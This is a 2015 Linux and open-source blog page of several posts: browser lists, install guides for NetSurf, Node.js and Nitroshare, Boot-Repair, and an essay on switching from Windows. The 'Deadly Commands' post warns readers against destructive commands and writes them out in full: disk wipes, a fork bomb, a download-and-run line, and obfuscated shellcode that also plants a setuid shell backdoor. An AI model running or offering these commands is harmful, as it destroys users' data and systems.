Tuesday, December 29, 2015

Some Awesome Opensource Web Browsers... Worth to Try... (part 2)

Some Awesome Opensource Web Browsers... Worth to Try... (part 2)

6  K-Meleon

K-Meleon is an extremely fast, customizable, lightweight web browser based on the Gecko layout engine developed by Mozilla which is also used by Firefox. K-Meleon is Free, Open Source software released under the GNU General Public License and is designed specifically for Microsoft Windows (Win32) operating systems.

Available platforms

  • Windows

Features

  • K-Meleon uses the native Windows API for user interface instead of Mozilla's cross-platform XML User Interface Language (XUL) layer, and as a result, is tightly integrated into the look and feel of the Windows desktop.
  • Simple and Highely costomizeable
  • Light weight
  • Better Privacy
  • Resource Friendly

official website :

K-Meleon

7  Konqueror

Konqueror is a free and open-source web browser and file manager that provides file viewer functionality for file systems such as local files, files on a remote FTP server and files in a disk image. It is a core part of the KDE Software Compilation. Konqueror is developed by volunteers and can run on most Unix-like operating systems and on Windows systems. Konqueror is licensed and distributed under the GNU General Public License version 2.

Available platforms

  • windows
  • Linux

Features

  • Webbrowsing using KHTML or KDEWebKit as rendering engines
  • File management using most of Dolphin's features (including version-control, service menus and the basic UI)
  • File management on ftp and sftp servers
  • Full featured FTP-client (you can split views to display local and remote folders and previews in the same window)
  • Embedded applications to preview files (e.g. Okular and Calligra for documents, Gwenview for pictures, KTextEditor for text-files)
  • Different kinds of plugins: Service-menus, KParts (embedded applications), KIO (accessing files using special protocols like http or ftp) and KPart-plugins (like AdBlocker...)
  • Customizable application

official website :

Konqueror

8 QupZilla

QupZilla is a new and very fast QtWebEngine browser. It aims to be a lightweight web browser available through all major platforms. This project has been originally started only for educational purposes. But from its start, QupZilla has grown into a feature-rich browser. QupZilla has all standard functions you expect from a web browser. It includes bookmarks, history (both also in sidebar) and tabs. Above that, it has by default enabled blocking ads with a built-in AdBlock plugin.

Available platforms

  • Linux
  • Windows
  • BSD
  • OS X

Features

  • Native look & feel
  • Unified Library
  • Integrated AdBlock
  • Opera-like Speed Dial
  • Light weight & Fast

official website :

QupZilla

9 lynx

Lynx is a highly configurable text-based web browser for use on cursor-addressable character cell terminals. As of 2015, it is the oldest web browser currently in general use and development, having started in 1992.

Available platforms

  • Windows
  • Linux (Unix-like)
  • DOS

Features

official website :

Lynx

Previous Page Next Page

Some Awesome Opensource Web Browsers... Worth to Try...

Some Awesome Opensource Web Browsers... Worth to Try...

we all know that , how important world wide web is and how it integrated into our day to day life. One of the key component of word wide web is, web browser. And , In general , an open source browser are always(at least for most cases..) richer and awesome than proprietary one. here , i am going to list ,some of open source browsers i knew... and worth trying... Share Opensource Love ♥

1   Firefox

Firefox is a free, open-source web browser from Mozilla. It offers numerous features and customization options. Its performance is excellent, and it's designed to protect your privacy. and it is one of the most trusted web browser for security and privacy.

Available platforms

  • Windows
  • Linux
  • OS X
  • Android
  • iOS

Features

  • Tabbed browsing
  • off line browsing
  • In built support for tracking protection
  • Live bookmarks
  • sync across devices
  • Private Browsing
  • In-line spell checker
  • Smart Location Bar
  • Built In PDF viewer

official website :

Firefox

2  Chromium

Chromium is the open-source web browser project from which Google Chrome draws its source code. The browsers share the majority of code and features, though there are some minor differences in features and they have different licensing.

Available platforms

  • Windows
  • Linux
  • OS X
  • BSD
  • Android
  • iOS

Features

  • Tabbed browsing
  • Provides better privacy than Google chrome
  • Built-in Google store
  • Light weight
  • sync across devices(using Google account)
  • Private Browsing
  • Built In PDF viewer(from 47 th build)

official website :

Chromium Browser

3  GNU IceCat

GNU IceCat, formerly known as GNU IceWeasel, is a free software rebranding of the Mozilla Firefox web browser distributed by the GNU Project. It is compatible with Linux, Windows, Android and OS X. The GNU Project attempts to keep IceCat in synchronization with upstream development of Firefox while removing all trademarked artwork. It also maintains a large list of free software plugins. In addition, it features a few security features not found in the mainline Firefox browser.

Available platforms

  • Linux
  • Windows
  • Android

Features

IceCat includes additional security features,
  • LibreJS
  • Https-Everywhere
  • SpyBlock
  • AboutIceCat
  • Fingerprinting countermeasures

official website :

GNU IceCat

4  Midori

Midori is a lightweight web browser. It uses the WebKit rendering engine and the GTK+ 2 or GTK+ 3 interface. Midori is part of the Xfce desktop environment's Goodies component and was developed to follow the Xfce principle of "making the most out of available resources". written in vala and C.

Available platforms

  • Linux
  • Windows

Features

  • DuckDuckGo as a default search engine
  • Internationalized domain names support
  • Smart Bookmarks
  • Light weight , lightning fast
  • Simple ,Customizable and extensible interface
  • Extension modules can be written in C and Vala
  • built-in privacy tools
  • Saves tab for the next session by default

official website :

Midori

5  Sea Monkey

The SeaMonkey project is a community effort to develop the SeaMonkey all-in-one internet application suite. Such a software suite was previously made popular by Netscape and Mozilla, and the SeaMonkey project continues to develop and deliver high-quality updates to this concept. Containing an Internet browser, email & newsgroup client with an included web feed reader, HTML editor, IRC chat and web development tools, SeaMonkey is sure to appeal to advanced users, web developers and corporate users. Under the hood, SeaMonkey uses much of the same Mozilla source code which powers such successful siblings as Firefox and Thunderbird. Legal backing is provided by the Mozilla Foundation.

Available platforms

  • Linux
  • Windows
  • OS X

Features

  • IRC Chat ("ChatZilla")
  • Data Manager
  • Sync Service
  • Native mail client
  • Lightweight themes (Personas)
  • Feed detection
  • Safe Mode
  • Multiple accounts

official website :

Sea Monkey
Next Page

Saturday, November 28, 2015

NetSurf : An Extremely Fast and Light weight Web Browser

NetSurf

An Extremely Fast and Light weight Web Browser

NetSurf is a free, open source web browser. It is written in C and released under the GNU Public Licence version 2.
NetSurf has its own layout and rendering engine entirely written from scratch. It is small and capable of handling many of the web standards in use today.

Whether you want to check your webmail, read the news or post to discussion forums, NetSurf is your lightweight gateway to the world wide web. Actively developed, NetSurf is continually evolving and improving.

Also Read: How to get started with Linux: A beginner's guide

Why choose NetSurf?

  • Speed
  • Simple interface
  • Light weight
  • Portable
  • Standards compliant
See More At : www.netsurf-browser.org

Project Goals

  • Adhere to the standards
  • Superior user experience
  • Keep NetSurf small
  • Portability
  • Modularity
  • Have fun with Learning By contributing
See Brief Design Goals at : Net Surf ProjectGoals

Ports & Availability

NetSurf 3.3 features

  • Web standards: HTML 4.01 and CSS 2.1
  • Image formats including: PNG, GIF, JPEG, SVG, and BMP
  • HTTPS for secure online transactions
  • Unicode text
  • Web page thumb-nailing
  • Local history trees
  • Global history
  • Hot-list manager (bookmarks)
  • Cookie manager
  • URL completion
  • Text selection
  • Scale view
  • Search-as-you-type text search highlighting
  • Save pages complete with images
  • Fast, lightweight layout and rendering engine

Also Read: 47 cool browser hacks

Installation Instructions:

For Debian Based Linux :

Also Read: The only remaining barrier to entry for Linux

step 1 : Download *.deb binary file of Net Surf Browser to Downloads ( ~/Downloads) Folder .
step 2 : Now open command line & navigate into downloads folder

cd ~/Downloads
step 3 : then install using dpkg command
sudo dpkg -i package_name.deb

Note : In above command (sudo dpkg -i package_name.deb) replace package_name by downloaded package name .


If you encounter any problems during installation Run below commands:
sudo apt-get update && sudo apt-get -f install

if you have further doubt in installation see this link.

Installation procedure for other os :see official documentation .


Also Read: have a fun with Linux vs Windows vs Mac

Related Links :


Tuesday, November 17, 2015

Some Interesting Facts About Linus Torvalds

Some Interesting Facts About
Linus Torvalds


image : Linus torvalds

We all know the Linux Lord , Linus Torvalds ,the man behind the awesome Linux OS.
He is not only the man behind Linux kernel ,he also the inventor of the most famous distributed version control system Git .
One of the great thing about Linus Torvalds is , he offered all his work for Linux.
He did not leave Linux for any thing and even once he rejects job offered by ,founder of Apple, Steve jobs .

continue your reading at Tecmint..

Monday, November 9, 2015

Boot-Repair an ultimate solution for frequent boot problems

Boot-Repair
an ultimate solution for frequent boot problems

Boot-Repair is a simple graphical tool to repair frequent boot issues you may encounter in Ubuntu like when you can't boot Ubuntu after installing Windows or another Linux distribution, or when you can't boot Windows after installing Ubuntu, or when GRUB is not displayed anymore, some upgrade breaks GRUB, etc.

Boot-Repair lets you fix these issues with a simple click, which (generally reinstalls GRUB and) restores access to the operating systems you had installed before the issue.

Boot-Repair also has advanced options to back up table partitions, back up bootsectors, create a Boot-Info (to get help by email or forum), or change the default repair parameters: configure GRUB, add kernel options (acpi=off ...), purge GRUB, change the default OS, restore a Windows-compatible MBR, repair a broken filesystem, specify the disk where GRUB should be installed, etc.

You May Also Like: How to Kill Linux Processes/Unresponsive Applications Using 'kill & pkill' Command Warning: This software is able to share information about your device for diagnostic purposes. You can chose to opt out in advanced settings. Please read this page fully. The log is quite helpful especially for the novice users.

Features :

  • Easy-to-use (repair in 1 click ! )
  • Free (GPL open-source license)
  • Helpful (Boot-Info summary to get help by email or on your favorite forum)
  • Safe (automatic backups)
  • Reliable (300.000 users per year)
  • Can recover access to Windows (XP, Vista, Windows7, Windows8).
  • Can recover access to Debian, Ubuntu, Mint, Fedora, OpenSuse, ArchLinux...
  • Can recover access to any OS (Windows, MacOS, Linux..) if your PC contains Debian, Ubuntu, Mint, Fedora, OpenSuse, ArchLinux, or derivative.
  • Can repair MBR-locked OEM computer boot if the original bootsector has been saved by Clean-Ubiquity
  • Can repair the boot when you have the "GRUB Recovery" error message
  • Options to reinstall GRUB2/GRUB1 bootloader easily (OS by default, purge, unhide, kernel options..)
  • and much more ! (UEFI, SecureBoot, RAID, LVM, Wubi, filesystem repair...)

Getting Boot-Repair

1st option : get a disk including Boot-Repair

The easiest way to use Boot-Repair is to create a disk containing the tool (eg Boot-Repair-Disk, a disk starting Boot-Repair automatically), and boot on it. Remark : it is recommended to install the ISO on a live-USB (eg via UnetBootin or LiliUSB or Universal USB Installer). Do not burn it on a DVD if your computer has Windows8 pre-installed, or if your boot is in EFI mode.

You May Also Like: 58 Cool Linux Hacks!

2nd option : install Boot-Repair in Ubuntu

- either from an Ubuntu live-session (boot your computer on a Ubuntu live-CD or live-USB then choose "Try Ubuntu") or from your installed Ubuntu session (if you can access it) - connect to the Internet - open a new Terminal, then type the following commands (press Enter after each line):

sudo add-apt-repository ppa:yannubuntu/boot-repair
sudo apt-get update
sudo apt-get install -y boot-repair && boot-repair

Using Boot-Repair:

Recommended repair:

  1. launch Boot-Repair from either :
    • the Dash (the Ubuntu logo at the top-left of the screen)
    • or by typing 'boot-repair' in a terminal
  2. Then click the "Recommended repair" button. When repair is finished, note the URL (paste.ubuntu.com/XXXXX) that appeared on a paper, then reboot and check if you recovered access to your OSs.
  3. If the repair did not succeed, indicate the URL to people who help you by email or forum.
Warning: the default settings are the ones used by the "Recommended Repair". Changing them may worsen your problem. Don't modify them before creating a BootInfo URL, and asking for advice on Ubuntu Forums Absolute Beginners Section or in Installation and Upgrades.

You May Also Like: Nitroshare: A Cross Platform Tool To Easily Share Your Files On Local Network Between Multiple Devices

Advanced options

If you would like to opt-out of the paste.ubuntu.com link creation (Not recommended for inexperienced users who are seeking help from a forum or IRC member), you can. Simple click on the Advanced Options, and find the "Other Options" tab. Uncheck "Upload the report to a pastebin".
The log may include UUIDs, LUKS headers, hex dump of your first sectors of your drives, device serial numbers, your username and more.

You May Also Like: Have More Fun with Windows Vs Mac Vs Linux: 10 Funny Jokes In Pictures

For More See This Links :

  1. Official website of Boot-Repair
  2. Topic "Boot-repair: Graphical tool to repair the PC boot in 1 click !" - on Ubuntu forum, for any questions/comments.
  3. HOWTO : easily create a Boot-Info summary
  4. Boot Repair on GitHub
For More : Click to see more interesting posts on OpensourceInside

Friday, October 30, 2015

9 Deadly Commands !! You Should Not Run on Linux

9 Deadly Commands !!

You Should Not Run on Linux



We know that Linux command line is more powerful and flexible one . Yes , Linux command line is awesome , because it offers users , full control over their Linux box/device... At the same time, the power and flexibility of Linux command line can also destroy our system ,if we use it improperly.
(i.e) Running commands in terminal without proper knowledge about them may break your system.
(Linux guide :getting start with Linux)
In general ,Linux newbies often do this kind of mistakes ,due to their out of box curiosity , enormous in trust and lots of    on Linux.
So , here i listed some deadly Linux commands which you should not run on your Linux box .
Note that many of these commands will only be dangerous if they're prefixed with sudo on Ubuntu - they won't work otherwise.
On other Linux distributions, most commands must be run as root.
You May Also Like To Read 58 cool Linux Hacks!

    rm -rf / [ This will Delete Everything! ]

The command rm -rf / will wipe every thing with in your root directory("/"). That means this command will erase your entire disk and all your mounted devices also..(if you run it as root). The part of
  • rm command in Linux is used to delete files.
  • rm -r command deletes the folder recursively, even the empty folder.
  • rm -f command removes 'Read only File' without asking(FORCE DELETION OF FILE).
  • rm -rf / : Force deletion of everything in root directory.
  • rm -rf * : Force deletion of everything in current directory/working directory.
  • rm -rf . : Force deletion of current folder and sub folders.

   Hidden version of rm -rf command [Alternte version of rm -rf /]

The command shown below is just a hex version of rm -rf / command.
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
this is same as first command (rm -rf /).. it will also, just wipe your entire root directory.

   :(){ :|: & };: [ Fork Bomb ]

This is actually a bash function which creates new copies of itself .
This function also called as fork bomb; The process continually replicates itself, and its copies continually replicate themselves, quickly taking up all your CPU time and memory. This can cause your computer to freeze. It's basically a denial-of-service attack.
You may also Like to read ( How to Kill Linux Processes/Unresponsive Applications Using 'kill & pkill' Command )
:(){ :|: & };:

operation of this function:

This function operates by defining a function called ':', which calls itself twice, once in the foreground and once in the background. It keeps on executing again and again till the system freezes.
warning:This function even no need root permissions.

   mkfs.ext4 /dev/sda [ Formats a Hard Drive ]

The above command will format the block 'sda' and you would surely be knowing that after execution of the above command your Block (Hard Disk Drive) would be new, BRAND NEW! Without any data, leaving your system into unrecoverable stage.
mkfs.ext4 /dev/sda (it will format your entire hard disk[sda] into ext4 format)

mkfs.ext4 /dev/sda1 (this will format your sda1[first partition of your hard disk])

(wiping sda1 is similar to wiping C drive on windows.)
This command can come in other forms as well - mkfs.ext3 /dev/sdb2 would format the second partition on the second hard drive with the ext3 file system.

NOTE:

Beware of running commands directly on hard disk devices that begin with /dev/sd.

   command > /dev/sda

The command > /dev/sda line works similarly - it runs a command and sends the output of that command directly to your first hard drive, writing the data directly to the hard disk drive and damaging your file system.
command - Run a command (can be any command.)

> - Send the output of the command to the following location.

/dev/sda - Write the output of the command directly to the hard disk device.

   mv ~ /dev/null [ Moves Your Home Directory to a Black Hole ]

/dev/null is another special location - moving something to /dev/null is the same thing as destroying it. Think of /dev/null as a black hole. Essentially, mv ~ /dev/null sends all your personal files into a black hole.
mv - Move the following file or directory to another location.

~ - Represents your entire home folder.

/dev/null - Move your home folder to /dev/null, destroying all your files and deleting the original copies.

   dd if=/dev/random of=/dev/sda [Writes Junk Onto a Hard Drive]

This command will wipe out the block sda and write random junk data to the block. Of-course! Your system would be left at inconsistent and unrecoverable stage.
dd - Perform low-level copying from one location to another.

if=/dev/random - Use /dev/random (random data) as the input - you may also see locations such as /dev/zero (zeros).

of=/dev/sda - Output to the first hard disk, replacing its file system with random garbage data.

   wget http://malicious_source -O- | sh [Downloads and Runs a Script]

The above line downloads a script from the web and sends it to sh,which executes the contents of the script. This can be dangerous if you're not sure what the script is or if you don't trust its source - don't run untrusted scripts.
wget - Downloads a file. (You may also see curl in place of wget.)

http://example.com/something - Download the file from this location.

| - Pipe (send) the output of the wget command (the file you downloaded) directly to another command.

sh - Send the file to the sh command, which executes it if it's a bash script.

   > file [Flush out your file]

This command is used to flush the content of file. If the above command is executed with a typo or ignorance like "> xt.conf" will write the configuration file or any other system or configuration file.
> file

One more command .. sudo chmod -R 777 /

This is one more command which will create undesirable things..
sudo chmod -R 777 / 

This command will give everyone to do anything (read, write, execute) on your system ..
You may also like to read: Have More Fun with Windows vs Linux vs Mac


for more posts Click to see more interesting posts on OpensourceInside

Tuesday, October 13, 2015

How To Install Node.js (latest version) in Linux

How To Install Node.js (latest version)
On Linux

Introduction:

Node.js :

Nodejs is an open source, cross platform , JavaScript runtime environment which is based on Chrome's V8 JavaScript engine. Node.js uses an event-driven, non-blocking I/O model that makes it lightweight and efficient.
It is used to develop scalable, real-time, network and server-side applications written in javascript and we can run that applications within Node.js runtime environment on OS X, Windows, Linux, solaris and BSD.

Node.js provides an event-driven architecture and a non-blocking I/O API designed to optimize an application's throughput and scalability for real-time web applications. It uses Google V8 JavaScript engine to execute code, and a large percentage of the basic modules are written in JavaScript. Node.js contains a built-in library to allow applications to act as a web server without software such as Apache HTTP Server, Nginx or IIS.

Node.js can be combined with a browser, a document database (such as MongoDB or CouchDB) and JSON for a unified JavaScript development stack.

According to wikipedia,
Node.js is used by IBM, Microsoft, Yahoo!, Walmart, LinkedIn, Rakuten, PayPal and GoDaddy.

npm :

npm is the pre-installed package manager for the Node.js server platform. It is used to install Node.js programs from the npm registry, organizing the installation and management of third-party Node.js programs.

Installtion :

For Debian and Ubuntu based distributions :

You can install the Distro-Stable Version from official repositories of your distribution ,by just running apt-get install package name in your linux command line.

sudo apt-get update && sudo apt-get install nodejs && sudo apt-get install npm

Latest versions of Nodejs providing npm as default package manager. So we dont need to install it seperately in latest versions of Node.Js.

but, there may be a chance that your distribution's official repositories may contain only older version of node js.
if u want to install latest version of nodejs(at the time of writing this post 4.x is latest version of nodejs), then you need to use node source PPA.

curl -sL https://deb.nodesource.com/setup_4.x | sudo bash -

or

wget -qO- https://deb.nodesource.com/setup_4.x | sudo bash -

Note : For example if you want to install Node.Js 6.x, Replace 4.x with 6.x. (i.e) replace it with version you want to install.



Update (Latest available LTS version of Nodejs ..)

wget -qO- https://deb.nodesource.com/setup_6.x | sudo bash -

Update (Latest available version of Nodejs ..)

wget -qO- https://deb.nodesource.com/setup_7.x | sudo bash -

After running above command, run the follollowing commands..

sudo apt-get -y install nodejs

during or after installation, if you experience any errors run this command and try again:

sudo apt-get -y install build-essential && sudo apt-get -f install

Remember.. If you are doing nodejs installation using nodesource ppa, you need not to run sudo apt-get install npm. Because npm comes along with node installation.. so don't run sudo apt-get install npm, if you are doing nodejs installation with from nodesource ppa.. otherwise if you run above command after installing nodejs from nodesource ppa, you would see error message or warning message thrown by your distributions package-manager.. don't worry about that message.. Just ignore it and enjoy NodeJS
HAPPY NODE ! .

For RPM based systems..

sudo curl --silent --location https://rpm.nodesource.com/setup_4.x | bash - && sudo yum -y install nodejs

For Fedora 22 and later versions..

sudo curl --silent --location https://rpm.nodesource.com/setup_4.x | bash - && sudo dnf -y install nodejs

Note : For example if you want to install Node.Js 6.x, Replace 4.x with 6.x. (i.e) replace it with version you want to install.

For Arch Linux

Node.js and npm packages are available in the Community Repository.

pacman -S nodejs npm

Compiling from source..

For Linux before start to compile install following packages..

sudo apt-get install g++ curl libssl-dev apache2-utils git build-essential

Step 1 :Clone source code from git repo..

cd && git clone https://github.com/nodejs/node.git

If you are using OS X you have to install git and X Code , before start to compile..

Or , simply download code as zip file from NodeJS git Repo and extract it

Step 2 : Now change directory (navigate into) to downloaded directory

cd ~/node

Step 3 : Now run compile it..

./configure && make && sudo make install

For more specific version installation instructions see here... and You can find installation instructions for more distros in official wiki.


Friday, October 2, 2015

Nitroshare: A Cross Platform Tool To Easily Share Your Files On Local Network Between Multiple Devices

Nitroshare: A Cross Platform Tool To Easily Share Your Files On Local Network Between Multiple Devices


We know how difficult(at least for computer newbies) it's to share our files over local network between multiple devices(specially if devices are powered by different operating systems).

To make this file sharing process simple, over local network , there is a cross platform tool/application available named as Nitroshare available for Linux , Windows and OS X.

We can share files over local network by just drag and drop.

Note : This program is for sharing files between computers on the same network;      it does not work over the Internet.



Key features :
         
  • Runs on Windows / Mac OS X / Linux
  •      
  • Automatic discovery of devices on the local network
  •      
  • Simple and intuitive user interface
  •      
  • Transfer entire directories
  •      
  • Completely free and open-source
  •      
  • Easy to use even for computer newbies


Installing Nitroshare :

You can directly download binaries for Nitroshare from their official website.
Download Nitroshare
(binaries available for Ubuntu 14.04, 14.10 or 15.04, Windows and Mac OS X as well as the source)

Optional: Ubuntu 15.04, 14.10 or 14.04 (and derivatives) users can install NitroShare by using its official PPA:


     sudo add-apt-repository ppa:george-edison55/nitroshare
     sudo apt-get update
     sudo apt-get install nitroshare
          

If you find any issue in Nitroshare, you can report @ GitHub



Using Nitroshare :


           
  • Click on Nitroshare Tray icon and select send files/send directory option will show usual file selection dialogue.
  •        
  • Now select files you want to send.
  •        
  • Now Nitroshare will automatically detect users/devices on same network.
  •        
  • You can pick an account which you want to send files.
  •        
  • You can configure location to receive files using settings option on another computer.
  •        
  • Thats it.. Enjoy ... ♥ with the spirit of opensource


                                                 if you like this article like us on facebook f


Wednesday, September 23, 2015

Have More Fun with Windows Vs Mac Vs Linux: 10 Funny Jokes In Pictures

Windows Vs Mac Vs Linux: 10 Funny Jokes In Pictures

 

The Windows Vs Mac Vs Linux debate continues. Their fans continue to be at the each others throat. The baseline of most debate is that Windows is clumsy and full of security issues, Linux is complicated and not user-friendly and Mac is all looks that burns your money for each and everything. There are forums, dedicated websites, Facebook pages and tons of articles dedicated to the Windows Vs Linux Vs Mac debate but don’t worry this post is not to find out who is the best of them all.
In this post I have collected ten funny pictures on Windows Vs Mac Vs Linux debate. Similar to what I did with 10 funny pictures on Obama and Prism scandal. To clarify, I do not own the copyrights for any of these pictures. I could not mention their sources as they were already “recycled” and I could not be certain of the original sources. If you have the copyrights of any of these and you object their uses in such a manner, do let me know and I’ll remove it. That said, enjoy the fun with Open Source.



Saturday, August 8, 2015

Linux is Not Windows


In the following article, I refer to the GNU/Linux OS and various Free and Open-Source Software (FOSS) projects under the catch-all name of "Linux". It scans better.


If you've been pointed at this page, then the chances are you're a relatively new Linux user who's having some problems making the switch from Windows to Linux. This causes many problems for many people, hence this article was written. Many individual issues arise from this single problem, so the page is broken down into multiple problem areas.

Problem #1: Linux isn't exactly the same as Windows.

You'd be amazed how many people make this complaint. They come to Linux, expecting to find essentially a free, open-source version of Windows. Quite often, this is what they've been told to expect by over-zealous Linux users. However, it's a paradoxical hope.

The specific reasons why people try Linux vary wildly, but the overall reason boils down to one thing: They hope Linux will be better than Windows. Common yardsticks for measuring success are cost, choice, performance, and security. There are many others. But every Windows user who tries Linux, does so because they hope it will be better than what they've got.

Therein lies the problem.

It is logically impossible for any thing to be better than any other thing whilst remaining completely identical to it. A perfect copy may be equal, but it can never surpass. So when you gave Linux a try in hopes that it would be better, you were inescapably hoping that it would be different. Too many people ignore this fact, and hold up every difference between the two OSes as a Linux failure.

As a simple example, consider driver upgrades: one typically upgrades a hardware driver on Windows by going to the manufacturer's website and downloading the new driver; whereas in Linux you upgrade the kernel.

This means that a single Linux download and upgrade will give you the newest drivers available for your machine, whereas in Windows you would have to surf to multiple sites and download all the upgrades individually. It's a very different process, but it's certainly not a bad one. But many people complain because it's not what they're used to.

Or, as an example you're more likely to relate to, consider Firefox : One of the biggest open-source success stories. A web browser that took the world by storm. Did it achieve this success by being a perfect imitation of IE, the then-most-popular browser?

No. It was successful because it was better than IE, and it was better because it was different. It had tabbed browsing, live bookmarks, built-in searchbar, PNG support, adblock extensions, and other wonderful things. The "Find" functionality appeared in a toolbar at the bottom and looked for matches as you typed, turning red when you had no match. IE had no tabs, no RSS functionality, searchbars only via third-party extensions, and a find dialogue that required a click on "OK" to start looking and a click on "OK" to clear the "Not found" error message. A clear and inarguable demonstration of an open-source application achieving success by being better, and being better by being different. Had FF been an IE clone, it would have vanished into obscurity. And had Linux been a Windows clone, the same would have happened.

So the solution to problem #1: Remember that where Linux is familiar and the same as what you're used to, it isn't new and improved. Welcome the places where things are different, because only here does it have a chance to shine.

Problem #2: Linux is too different from Windows

The next issue arises when people do expect Linux to be different, but find that some differences are just too radical for their liking. Probably the biggest example of this is the sheer amount of choice available to Linux users. Whereas an out-of-the-box-Windows user has the Classic or XP desktop with Wordpad, Internet Explorer, and Outlook Express installed, an out-of-the-box-Linux user has hundreds of distros to choose from, then Gnome or KDE or Fluxbox or whatever, with vi or emacs or kate, Konqueror or Opera or Firefox or Mozilla, and so on and so forth.

A Windows user isn't used to making so many choices just to get up and running. Exasperated "Does there have to be so much choice?" posts are very common.

Does Linux really have to be so different from Windows? After all, they're both operating systems. They both do the same job: Power your computer and give you something to run applications on. Surely they should be more or less identical?

Look at it this way: Step outside and take a look at all the different vehicles driving along the road. These are all vehicles designed with more or less the same purpose: To get you from A to B via the roads. Note the variety in designs.

But, you may be thinking, car differences are really quite minor: they all have a steering wheel, foot-pedal controls, a gear stick, a handbrake, windows and doors, a petrol tank. . . If you can drive one car, you can drive any car!

Quite true. But did you not see that some people weren't driving cars, but were riding motorbikes instead. . ?

Switching from one version of Windows to another is like switching from one car to another. Win95 to Win98, I honestly couldn't tell the difference. Win98 to WinXP, it was a bigger change but really nothing major.

But switching from Windows to Linux is like switching from a car to a motorbike. They may both be OSes/road vehicles. They may both use the same hardware/roads. They may both provide an environment for you to run applications/transport you from A to B. But they use fundamentally different approaches to do so.

Windows/cars are not safe from viruses/theft unless you install an antivirus/lock the doors. Linux/motorbikes don't have viruses/doors, so are perfectly safe without you having to install an antivirus/lock any doors.

Or look at it the other way round:

Linux/cars were designed from the ground up for multiple users/passengers. Windows/motorbikes were designed for one user/passenger. Every Windows user/motorbike driver is used to being in full control of his computer/vehicle at all times. A Linux user/car passenger is used to only being in control of his computer/vehicle when logged in as root/sitting in the driver's seat.

Two different approaches to fulfilling the same goal. They differ in fundamental ways. They have different strengths and weaknesses: A car is the clear winner at transporting a family and a lot of cargo from A to B: More seats and more storage space. A motorbike is the clear winner at getting one person from A to B: Less affected by congestion and uses less fuel.

There are many things that don't change when you switch between cars and motorbikes: You still have to put petrol in the tank, you still have to drive on the same roads, you still have to obey the traffic lights and Stop signs, you still have to indicate before turning, you still have to obey the same speed limits.

But there are also many things that do change: Car drivers don't have to wear crash helmets, motorbike drivers don't have to put on a seatbelt. Car drivers have to turn the steering wheel to get around a corner, motorbike drivers have to lean over. Car drivers accelerate by pushing a foot-pedal, motorbike drivers accelerate by twisting a hand control.

A motorbike driver who tries to corner a car by leaning over is going to run into problems very quickly. And Windows users who try to use their existing skills and habits generally also find themselves having many issues. In fact, Windows "Power Users" frequently have more problems with Linux than people with little or no computer experience, for this very reason. Typically, the most vehement "Linux is not ready for the desktop yet" arguments come from ingrained Windows users who reason that if they couldn't make the switch, a less-experienced user has no chance. But this is the exact opposite of the truth.

So, to avoid problem #2: Don't assume that being a knowledgeable Windows user means you're a knowledgeable Linux user: When you first start with Linux, you are a novice.

Problem #3: Culture shock

Subproblem #3a: There is a culture

Windows users are more or less in a customer-supplier relationship: They pay for software, for warranties, for support, and so on. They expect software to have a certain level of usability. They are therefore used to having rights with their software: They have paid for technical support and have every right to demand that they receive it. They are also used to dealing with entities rather than people: Their contracts are with a company, not with a person.

Linux users are in more of a community. They don't have to buy the software, they don't have to pay for technical support. They download software for free and use Instant Messaging and web-based forums to get help. They deal with people, not corporations.

A Windows user will not endear himself by bringing his habitual attitudes over to Linux, to put it mildly.

The biggest cause of friction tends to be in the online interactions: A "3a" user new to Linux asks for help with a problem he's having. When he doesn't get that help at what he considers an acceptable rate, he starts complaining and demanding more help. Because that's what he's used to doing with paid-for tech support. The problem is that this isn't paid-for support. This is a bunch of volunteers who are willing to help people with problems out of the goodness of their hearts. The new user has no right to demand anything from them, any more than somebody collecting for charity can demand larger donations from contributors.

In much the same way, a Windows user is used to using commercial software. Companies don't release software until it's reliable, functional, and user-friendly enough. So this is what a Windows user tends to expect from software: It starts at version 1.0. Linux software, however, tends to get released almost as soon as it's written: It starts at version 0.1. This way, people who really need the functionality can get it ASAP; interested developers can get involved in helping improve the code; and the community as a whole stays aware of what's going on.

If a "3a" user runs into trouble with Linux, he'll complain: The software hasn't met his standards, and he thinks he has a right to expect that standard. His mood won't be improved when he gets sarcastic replies like "I'd demand a refund if I were you"

So, to avoid problem #3a: Simply remember that you haven't paid the developer who wrote the software or the people online who provide the tech support. They don't owe you anything.

Subproblem #3b: New vs. Old

Linux pretty much started out life as a hacker's hobby. It grew as it attracted more hobbyist hackers. It was quite some time before anybody but a geek stood a chance of getting a useable Linux installation working easily. Linux started out "By geeks, for geeks." And even today, the majority of established Linux users are self-confessed geeks.

And that's a pretty good thing: If you've got a problem with hardware or software, having a large number of geeks available to work on the solution is a definite plus.

But Linux has grown up quite a bit since its early days. There are distros that almost anybody can install, even distros that live on CDs and detect all your hardware for you without any intervention. It's become attractive to non-hobbyist users who are just interested in it because it's virus-free and cheap to upgrade. It's not uncommon for there to be friction between the two camps. It's important to bear in mind, however, that there's no real malice on either side: It's lack of understanding that causes the problems.

Firstly, you get the hard-core geeks who still assume that everybody using Linux is a fellow geek. This means they expect a high level of knowledge, and often leads to accusations of arrogance, elitism, and rudeness. And in truth, sometimes that's what it is. But quite often, it's not: It's elitist to say "Everybody ought to know this". It's not elitist to say "Everybody knows this" - quite the opposite.

Secondly, you get the new users who're trying to make the switch after a lifetime of using commercial OSes. These users are used to software that anybody can sit down and use, out-of-the-box.

The issues arise because group 1 is made up of people who enjoy being able to tear their OS apart and rebuild it the way they like it, while group 2 tends to be indifferent to the way the OS works, so long as it does work.

A parallel situation that can emphasize the problems is Lego. Picture the following:

New: I wanted a new toy car, and everybody's raving about how great Lego cars can be. So I bought some Lego, but when I got home, I just had a load of bricks and cogs and stuff in the box. Where's my car??

Old: You have to build the car out of the bricks. That's the whole point of Lego.

New: What?? I don't know how to build a car. I'm not a mechanic. How am I supposed to know how to put it all together??

